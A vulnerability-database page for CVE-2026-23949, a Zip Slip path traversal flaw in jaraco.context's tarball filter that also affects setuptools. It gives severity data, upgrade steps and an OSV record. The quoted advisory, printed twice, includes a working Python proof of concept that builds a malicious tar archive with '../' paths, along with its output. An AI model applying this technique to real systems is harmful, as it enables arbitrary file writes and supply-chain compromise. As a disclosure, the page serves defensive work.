Vulnerabilities in pkg:pypi/jaraco.context

PACKAGE
Advisory Identifier: GHSA-58pv-8j8x-9vj2
Advisory Summary

CVE-2026-23949 is a HIGH (CVSS 8.6) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Jaraco.context libraries in the PyPI ecosystem. The issue involves jaraco.context has a path traversal vulnerability. Remediation is available by upgrading affected packages to version 6.1.0.

1 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/jaraco.context

1 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/jaraco.context. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-58pv-8j8x-9vj2 CVE-2026-23949 HIGH jaraco.context Has a Path Traversal Vulnerability

CVE-2026-23949 at a Glance

CVE Identifier CVE-2026-23949
GHSA Identifier GHSA-58pv-8j8x-9vj2
Severity HIGH
CVSS v3.1 Base Score 8.6
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Jaraco.context
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-23949

To remediate this vulnerability, upgrade all affected Jaraco.context dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

jaraco.context fixed: 6.1.0
pip install jaraco.context>=6.1.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show jaraco.context

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-23949, inspect your installed packages using pip:

pip show jaraco.context

Analyze the terminal output to locate any version of Jaraco.context in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 6.1.0), your application is affected.

Note: The pip show jaraco.context command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Jaraco.context, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary There is a Zip Slip path traversal vulnerability in the jaraco.context package affecting setuptools as well, in `jaraco.context.tarball()` function. The vulnerability may allow attackers to extract files outside the intended extraction directory when malicious tar archives are processed. The strip_first_component filter splits the path on the first `/` and extracts the second component, while allowing `../` sequences. Paths like `dummy_dir/../../etc/passwd` become `../../etc/passwd`. Note that this suffers from a nested tarball attack as well with multi-level tar files such as `dummy_dir/inner.tar.gz`, where the inner.tar.gz includes a traversal `dummy_dir/../../config/.env` that also gets translated to `../../config/.env`. The code can be found: - https://github.com/jaraco/jaraco.context/blob/main/jaraco/context/__init__.py#L74-L91 - https://github.com/pypa/setuptools/blob/main/setuptools/_vendor/jaraco/context.py#L55-L76 (inherited) This report was also sent to setuptools maintainers and they asked some questions regarding this. The lengthy answer is: The vulnerability seems to be the `strip_first_component` filter function, not the tarball function itself and has the same behavior on any tested Python version locally (from 11 to 14, as I noticed that there is a backports conditional for the tarball). The stock tarball for Python 3.12+ is considered not vulnerable (until proven otherwise 😄) but here the custom filter seems to overwrite the native filtering and introduces the issue - while overwriting the updated secure Python 3.12+ behavior and giving a false sense of sanitization. The short answer is: If we are talking about Python < 3.12 the tarball and jaraco implementations / behaviors are relatively the same but for Python 3.12+ the jaraco implementation overwrites the native tarball protection. Sampled tests: <img width="1634" height="245" alt="image" src="https://github.com/user-attachments/assets/ce6c0de6-bb53-4c2b-818a-d77e28d2fbeb" /> ### Details The flow with setuptools in the mix: ``` setuptools._vendor.jaraco.context.tarball() > req = urlopen(url) > with tarfile.open(fileobj=req, mode='r|*') as tf: > tf.extractall(path=target_dir, filter=strip_first_component) > strip_first_component (Vulnerable) ``` ### PoC This was tested on multiple Python versions > 11 on a Debian GNU 12 (bookworm). You can run this directly after having all the dependencies: ```py #!/usr/bin/env python3 import tarfile import io import os import sys import shutil import tempfile from setuptools._vendor.jaraco.context import strip_first_component def create_malicious_tarball(traversal_to_root: str): tar_data = io.BytesIO() with tarfile.open(fileobj=tar_data, mode='w') as tar: # Create a malicious file path with traversal sequences malicious_files = [ # Attempt 1: Simple traversal to /tmp { 'path': f'dummy_dir/{traversal_to_root}tmp/pwned_by_zipslip.txt', 'content': b'[ZIPSLIP] File written to /tmp via path traversal!', 'name': 'pwned_via_tmp' }, # Attempt 2: Try to write to home directory { 'path': f'dummy_dir/{traversal_to_root}home/pwned_home.txt', 'content': b'[ZIPSLIP] Attempted write to home directory', 'name': 'pwned_via_home' }, # Attempt 3: Try to write to current directory parent { 'path': 'dummy_dir/../escaped.txt', 'content': b'[ZIPSLIP] File in parent directory!', 'name': 'pwned_escaped' }, # Attempt 4: Legitimate file for comparison { 'path': 'dummy_dir/legitimate_file.txt', 'content': b'This file stays in target directory', 'name': 'legitimate' } ] for file_info in malicious_files: content = file_info['content'] tarinfo = tarfile.TarInfo(name=file_info['path']) tarinfo.size = len(content) tar.addfile(tarinfo, io.BytesIO(content)) tar_data.seek(0) return tar_data def exploit_zipslip(): print(\"[*] Target: setuptools._vendor.jaraco.context.tarball()\") # Create temporary directory for extraction temp_base = tempfile.mkdtemp(prefix=\"zipslip_test_\") target_dir = os.path.join(temp_base, \"extraction_target\") try: os.mkdir(target_dir) print(f\"[+] Created target extraction directory: {target_dir}\") target_dir_abs = os.path.abspath(target_dir) print(target_dir_abs) depth_to_root = len([p for p in target_dir_abs.split(os.sep) if p]) traversal_to_root = \"../\" * depth_to_root print(f\"[+] Using traversal_to_root prefix: {traversal_to_root!r}\") # Create malicious tarball print(\"[*] Creating malicious tar archive...\") tar_data = create_malicious_tarball(traversal_to_root) try: with tarfile.open(fileobj=tar_data, mode='r') as tf: for member in tf: # Apply the ACTUAL vulnerable function from setuptools processed_member = strip_first_component(member, target_dir) print(f\"[*] Extracting: {member.name:40} -> {processed_member.name}\") # Extract to target directory try: tf.extract(processed_member, path=target_dir) print(f\" ✓ Extracted successfully\") except (PermissionError, FileNotFoundError, OSError) as e: print(f\" ! {type(e).__name__}: Path traversal ATTEMPTED\") except Exception as e: print(f\"[!] Extraction raised exception: {type(e).__name__}: {e}\") # Check results print(\"[*] Checking for extracted files...\") # Check target directory print(f\"[*] Files in target directory ({target_dir}):\") if os.path.exists(target_dir): for root, _, files in os.walk(target_dir): level = root.replace(target_dir, '').count(os.sep) indent = ' ' * 2 * level print(f\"{indent}{os.path.basename(root)}/\") subindent = ' ' * 2 * (level + 1) for file in files: filepath = os.path.join(root, file) try: with open(filepath, 'r') as f: content = f.read()[:50] print(f\"{subindent}{file}\") print(f\"{subindent} └─ {content}...\") except: print(f\"{subindent}{file} (binary)\") else: print(f\"[!] Target directory not found!\") print() print(\"[*] Checking for traversal attempts...\") print() # Check if files escaped traversal_attempts = [ (\"/tmp/pwned_by_zipslip.txt\", \"Escape to /tmp\"), (os.path.expanduser(\"~/pwned_home.txt\"), \"Escape to home\"), (os.path.join(temp_base, \"escaped.txt\"), \"Escape to parent\"), ] escaped = False for check_path, description in traversal_attempts: if os.path.exists(check_path): print(f\"[+] Path Traversal Confirmed: {description}\") print(f\" File created at: {check_path}\") try: with open(check_path, 'r') as f: content = f.read() print(f\" Content: {content}\") print(f\" Removing: {check_path}\") os.remove(check_path) except Exception as e: print(f\" Error reading: {e}\") escaped = True else: print(f\"[-] OK: {description} - No escape detected\") if escaped: print(\"[+] EXPLOIT SUCCESSFUL - Path traversal vulnerability confirmed!\") else: print(\"[-] No path traversal detected (mitigation in place)\") finally: # Cleanup print() print(f\"[*] Cleaning up: {temp_base}\") try: shutil.rmtree(temp_base) except Exception as e: print(f\"[!] Cleanup error: {e}\") def check_python_version(): print(f\"[+] Python version: {sys.version}\") # Python 3.11.4+ added DEFAULT_FILTER if hasattr(tarfile, 'DEFAULT_FILTER'): print(\"[+] Python has DEFAULT_FILTER (tarfile security hardening)\") else: print(\"[!] Python does not have DEFAULT_FILTER (older version)\") print() if __name__ == \"__main__\": check_python_version() exploit_zipslip() ``` Output: ``` [+] Python version: 3.11.2 (main, Apr 28 2025, 14:11:48) [GCC 12.2.0] [!] Python does not have DEFAULT_FILTER (older version) [*] Target: setuptools._vendor.jaraco.context.tarball() [+] Created target extraction directory: /tmp/zipslip_test_tnu3qpd5/extraction_target [*] Creating malicious tar archive... [*] Extracting: ../../tmp/pwned_by_zipslip.txt -> ../../tmp/pwned_by_zipslip.txt ✓ Extracted successfully [*] Extracting: ../../../../home/pwned_home.txt -> ../../../../home/pwned_home.txt ! PermissionError: Path traversal ATTEMPTED [*] Extracting: ../escaped.txt -> ../escaped.txt ✓ Extracted successfully [*] Extracting: legitimate_file.txt -> legitimate_file.txt ✓ Extracted successfully [*] Checking for extracted files... [*] Files in target directory (/tmp/zipslip_test_tnu3qpd5/extraction_target): extraction_target/ legitimate_file.txt └─ This file stays in target directory... [*] Checking for traversal attempts... [-] OK: Escape to /tmp - No escape detected [-] OK: Escape to home - No escape detected [+] Path Traversal Confirmed: Escape to parent File created at: /tmp/zipslip_test_tnu3qpd5/escaped.txt Content: [ZIPSLIP] File in parent directory! Removing: /tmp/zipslip_test_tnu3qpd5/escaped.txt [+] EXPLOIT SUCCESSFUL - Path traversal vulnerability confirmed! [*] Cleaning up: /tmp/zipslip_test_tnu3qpd5 ``` ### Impact - Arbitrary file creation in filesystem (HIGH exploitability) - especially if popular packages download tar files remotely and use this package to extract files. - Privesc (LOW exploitability) - Supply-Chain attack (VARIABLE exploitability) - relevant to the first point. ### Remediation I guess removing the custom filter is not feasible given the backward compatibility issues that might come up you can use a safer filter `strip_first_component` that skips or sanitizes `../` character sequences since it is already there eg. ``` if member.name.startswith('/') or '..' in member.name: raise ValueError(f\"Attempted path traversal detected: {member.name}\") ```

CVE-2026-23949 Affected Jaraco.context Versions

1 component(s)
Fixed Versions:
6.1.0
Product / Package Ecosystem Affected Versions Fixed Version
jaraco.context
PyPI
≥ 5.2.0
< 6.1.0
6.1.0

References

Frequently Asked Questions

What is CVE-2026-23949?
CVE-2026-23949 is a security vulnerability in Jaraco.context involving jaraco.context Has a Path Traversal Vulnerability under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Jaraco.context versions are affected?
Affected versions include releases prior to 6.1.0 across affected packages: jaraco.context.
What version fixes CVE-2026-23949?
Upgrading to 6.1.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is jaraco.context affected?
Yes, jaraco.context is affected in releases prior to 6.1.0. Upgrade your dependency to 6.1.0 or later.
What is the CVSS score of CVE-2026-23949?
CVE-2026-23949 has a CVSS v3.1 base score of 8.6 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N.
What CWE is associated with CVE-2026-23949?
CVE-2026-23949 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check PyPI dependencies for CVE-2026-23949?
Run the dependency tree command: 'pip show jaraco.context'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-58pv-8j8x-9vj2",
  "modified" : "2026-01-22T22:25:55Z",
  "published" : "2026-01-13T21:48:17Z",
  "aliases" : [ "CVE-2026-23949" ],
  "summary" : "jaraco.context Has a Path Traversal Vulnerability",
  "details" : "### Summary\nThere is a Zip Slip path traversal vulnerability in the jaraco.context package affecting setuptools as well, in `jaraco.context.tarball()` function. The vulnerability may allow attackers to extract files outside the intended extraction directory when malicious tar archives are processed.\nThe strip_first_component filter splits the path on the first `/` and extracts the second component, while allowing `../` sequences. Paths like `dummy_dir/../../etc/passwd` become `../../etc/passwd`.\nNote that this suffers from a nested tarball attack as well with multi-level tar files such as `dummy_dir/inner.tar.gz`, where the inner.tar.gz includes a traversal `dummy_dir/../../config/.env` that also gets translated to `../../config/.env`.\n\nThe code can be found:\n- https://github.com/jaraco/jaraco.context/blob/main/jaraco/context/__init__.py#L74-L91\n- https://github.com/pypa/setuptools/blob/main/setuptools/_vendor/jaraco/context.py#L55-L76 (inherited)\n\nThis report was also sent to setuptools maintainers and they asked some questions regarding this.\n\nThe lengthy answer is:\n\nThe vulnerability seems to be the `strip_first_component` filter function, not the tarball function itself and has the same behavior on any tested Python version locally (from 11 to 14, as I noticed that there is a backports conditional for the tarball).\nThe stock tarball for Python 3.12+ is considered not vulnerable (until proven otherwise 😄) but here the custom filter seems to overwrite the native filtering and introduces the issue - while overwriting the updated secure Python 3.12+ behavior and giving a false sense of sanitization.\n\nThe short answer is:\n\nIf we are talking about Python < 3.12 the tarball and jaraco implementations /  behaviors are relatively the same but for Python 3.12+ the jaraco implementation overwrites the native tarball protection.\n\nSampled tests:\n<img width=\"1634\" height=\"245\" alt=\"image\" src=\"https://github.com/user-attachments/assets/ce6c0de6-bb53-4c2b-818a-d77e28d2fbeb\" />\n\n### Details\n\nThe flow with setuptools in the mix:\n```\nsetuptools._vendor.jaraco.context.tarball() > req = urlopen(url) > with tarfile.open(fileobj=req, mode='r|*') as tf: > tf.extractall(path=target_dir, filter=strip_first_component) > strip_first_component (Vulnerable)\n```\n\n### PoC\n\nThis was tested on multiple Python versions > 11 on a Debian GNU 12 (bookworm).\nYou can run this directly after having all the dependencies:\n```py\n#!/usr/bin/env python3\nimport tarfile\nimport io\nimport os\nimport sys\nimport shutil\nimport tempfile\nfrom setuptools._vendor.jaraco.context import strip_first_component\n\n\ndef create_malicious_tarball(traversal_to_root: str):\n    tar_data = io.BytesIO()\n    with tarfile.open(fileobj=tar_data, mode='w') as tar:\n        # Create a malicious file path with traversal sequences\n        malicious_files = [\n            # Attempt 1: Simple traversal to /tmp\n            {\n                'path': f'dummy_dir/{traversal_to_root}tmp/pwned_by_zipslip.txt',\n                'content': b'[ZIPSLIP] File written to /tmp via path traversal!',\n                'name': 'pwned_via_tmp'\n            },\n            # Attempt 2: Try to write to home directory\n            {\n                'path': f'dummy_dir/{traversal_to_root}home/pwned_home.txt',\n                'content': b'[ZIPSLIP] Attempted write to home directory',\n                'name': 'pwned_via_home'\n            },\n            # Attempt 3: Try to write to current directory parent\n            {\n                'path': 'dummy_dir/../escaped.txt',\n                'content': b'[ZIPSLIP] File in parent directory!',\n                'name': 'pwned_escaped'\n            },\n            # Attempt 4: Legitimate file for comparison\n            {\n                'path': 'dummy_dir/legitimate_file.txt',\n                'content': b'This file stays in target directory',\n                'name': 'legitimate'\n            }\n        ]\n        for file_info in malicious_files:\n            content = file_info['content']\n            tarinfo = tarfile.TarInfo(name=file_info['path'])\n            tarinfo.size = len(content)\n            tar.addfile(tarinfo, io.BytesIO(content))\n\n    tar_data.seek(0)\n    return tar_data\n\n\ndef exploit_zipslip():\n    print(\\\"[*] Target: setuptools._vendor.jaraco.context.tarball()\\\")\n\n    # Create temporary directory for extraction\n    temp_base = tempfile.mkdtemp(prefix=\\\"zipslip_test_\\\")\n    target_dir = os.path.join(temp_base, \\\"extraction_target\\\")\n\n    try:\n        os.mkdir(target_dir)\n        print(f\\\"[+] Created target extraction directory: {target_dir}\\\")\n\n        target_dir_abs = os.path.abspath(target_dir)\n        print(target_dir_abs)\n        depth_to_root = len([p for p in target_dir_abs.split(os.sep) if p])\n        traversal_to_root = \\\"../\\\" * depth_to_root\n        print(f\\\"[+] Using traversal_to_root prefix: {traversal_to_root!r}\\\")\n\n        # Create malicious tarball\n        print(\\\"[*] Creating malicious tar archive...\\\")\n        tar_data = create_malicious_tarball(traversal_to_root)\n\n        try:\n            with tarfile.open(fileobj=tar_data, mode='r') as tf:\n                for member in tf:\n                    # Apply the ACTUAL vulnerable function from setuptools\n                    processed_member = strip_first_component(member, target_dir)\n                    print(f\\\"[*] Extracting: {member.name:40} -> {processed_member.name}\\\")\n\n                    # Extract to target directory\n                    try:\n                        tf.extract(processed_member, path=target_dir)\n                        print(f\\\"    ✓ Extracted successfully\\\")\n                    except (PermissionError, FileNotFoundError, OSError) as e:\n                        print(f\\\"    ! {type(e).__name__}: Path traversal ATTEMPTED\\\")\n        except Exception as e:\n            print(f\\\"[!] Extraction raised exception: {type(e).__name__}: {e}\\\")\n\n        # Check results\n        print(\\\"[*] Checking for extracted files...\\\")\n\n        # Check target directory\n        print(f\\\"[*] Files in target directory ({target_dir}):\\\")\n        if os.path.exists(target_dir):\n            for root, _, files in os.walk(target_dir):\n                level = root.replace(target_dir, '').count(os.sep)\n                indent = ' ' * 2 * level\n                print(f\\\"{indent}{os.path.basename(root)}/\\\")\n                subindent = ' ' * 2 * (level + 1)\n                for file in files:\n                    filepath = os.path.join(root, file)\n                    try:\n                        with open(filepath, 'r') as f:\n                            content = f.read()[:50]\n                        print(f\\\"{subindent}{file}\\\")\n                        print(f\\\"{subindent}  └─ {content}...\\\")\n                    except:\n                        print(f\\\"{subindent}{file} (binary)\\\")\n        else:\n            print(f\\\"[!] Target directory not found!\\\")\n\n        print()\n        print(\\\"[*] Checking for traversal attempts...\\\")\n        print()\n\n        # Check if files escaped\n        traversal_attempts = [\n            (\\\"/tmp/pwned_by_zipslip.txt\\\", \\\"Escape to /tmp\\\"),\n            (os.path.expanduser(\\\"~/pwned_home.txt\\\"), \\\"Escape to home\\\"),\n            (os.path.join(temp_base, \\\"escaped.txt\\\"), \\\"Escape to parent\\\"),\n        ]\n\n        escaped = False\n        for check_path, description in traversal_attempts:\n            if os.path.exists(check_path):\n                print(f\\\"[+] Path Traversal Confirmed: {description}\\\")\n                print(f\\\"      File created at: {check_path}\\\")\n                try:\n                    with open(check_path, 'r') as f:\n                        content = f.read()\n                    print(f\\\"      Content: {content}\\\")\n                    print(f\\\"      Removing: {check_path}\\\")\n                    os.remove(check_path)\n                except Exception as e:\n                    print(f\\\"      Error reading: {e}\\\")\n                escaped = True\n            else:\n                print(f\\\"[-] OK: {description} - No escape detected\\\")\n\n        if escaped:\n            print(\\\"[+] EXPLOIT SUCCESSFUL - Path traversal vulnerability confirmed!\\\")\n        else:\n            print(\\\"[-] No path traversal detected (mitigation in place)\\\")\n\n    finally:\n        # Cleanup\n        print()\n        print(f\\\"[*] Cleaning up: {temp_base}\\\")\n        try:\n            shutil.rmtree(temp_base)\n        except Exception as e:\n            print(f\\\"[!] Cleanup error: {e}\\\")\n\n\ndef check_python_version():\n    print(f\\\"[+] Python version: {sys.version}\\\")\n    # Python 3.11.4+ added DEFAULT_FILTER\n    if hasattr(tarfile, 'DEFAULT_FILTER'):\n        print(\\\"[+] Python has DEFAULT_FILTER (tarfile security hardening)\\\")\n    else:\n        print(\\\"[!] Python does not have DEFAULT_FILTER (older version)\\\")\n    print()\n\n\nif __name__ == \\\"__main__\\\":\n    check_python_version()\n    exploit_zipslip()\n```\n\nOutput:\n```\n[+] Python version: 3.11.2 (main, Apr 28 2025, 14:11:48) [GCC 12.2.0] \n[!] Python does not have DEFAULT_FILTER (older version) \n\n[*] Target: setuptools._vendor.jaraco.context.tarball() \n[+] Created target extraction directory: /tmp/zipslip_test_tnu3qpd5/extraction_target \n[*] Creating malicious tar archive... \n[*] Extracting: ../../tmp/pwned_by_zipslip.txt           -> ../../tmp/pwned_by_zipslip.txt \n    ✓ Extracted successfully \n[*] Extracting: ../../../../home/pwned_home.txt          -> ../../../../home/pwned_home.txt \n    ! PermissionError: Path traversal ATTEMPTED \n[*] Extracting: ../escaped.txt                           -> ../escaped.txt \n    ✓ Extracted successfully \n[*] Extracting: legitimate_file.txt                      -> legitimate_file.txt \n    ✓ Extracted successfully \n[*] Checking for extracted files... \n[*] Files in target directory (/tmp/zipslip_test_tnu3qpd5/extraction_target): \nextraction_target/ \n  legitimate_file.txt \n    └─ This file stays in target directory... \n\n[*] Checking for traversal attempts... \n\n[-] OK: Escape to /tmp - No escape detected \n[-] OK: Escape to home - No escape detected \n[+] Path Traversal Confirmed: Escape to parent \n      File created at: /tmp/zipslip_test_tnu3qpd5/escaped.txt \n      Content: [ZIPSLIP] File in parent directory! \n      Removing: /tmp/zipslip_test_tnu3qpd5/escaped.txt \n[+] EXPLOIT SUCCESSFUL - Path traversal vulnerability confirmed! \n\n[*] Cleaning up: /tmp/zipslip_test_tnu3qpd5\n```\n\n### Impact\n\n- Arbitrary file creation in filesystem (HIGH exploitability) - especially if popular packages download tar files remotely and use this package to extract files.\n- Privesc (LOW exploitability)\n- Supply-Chain attack (VARIABLE exploitability) - relevant to the first point.\n\n### Remediation\n\nI guess removing the custom filter is not feasible given the backward compatibility issues that might come up you can use a safer filter `strip_first_component` that skips or sanitizes `../` character sequences since it is already there eg.\n```\nif member.name.startswith('/') or '..' in member.name:\n  raise ValueError(f\\\"Attempted path traversal detected: {member.name}\\\")\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "jaraco.context"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.2.0"
      }, {
        "fixed" : "6.1.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/jaraco/jaraco.context/security/advisories/GHSA-58pv-8j8x-9vj2"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-23949"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jaraco/jaraco.context/commit/7b26a42b525735e4085d2e994e13802ea339d5f9"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/jaraco/jaraco.context"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jaraco/jaraco.context/blob/main/jaraco/context/__init__.py#L74-L91"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/setuptools/blob/main/setuptools/_vendor/jaraco/context.py#L55-L76"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-13T21:48:17Z",
    "nvd_published_at" : "2026-01-20T01:15:57Z"
  }
}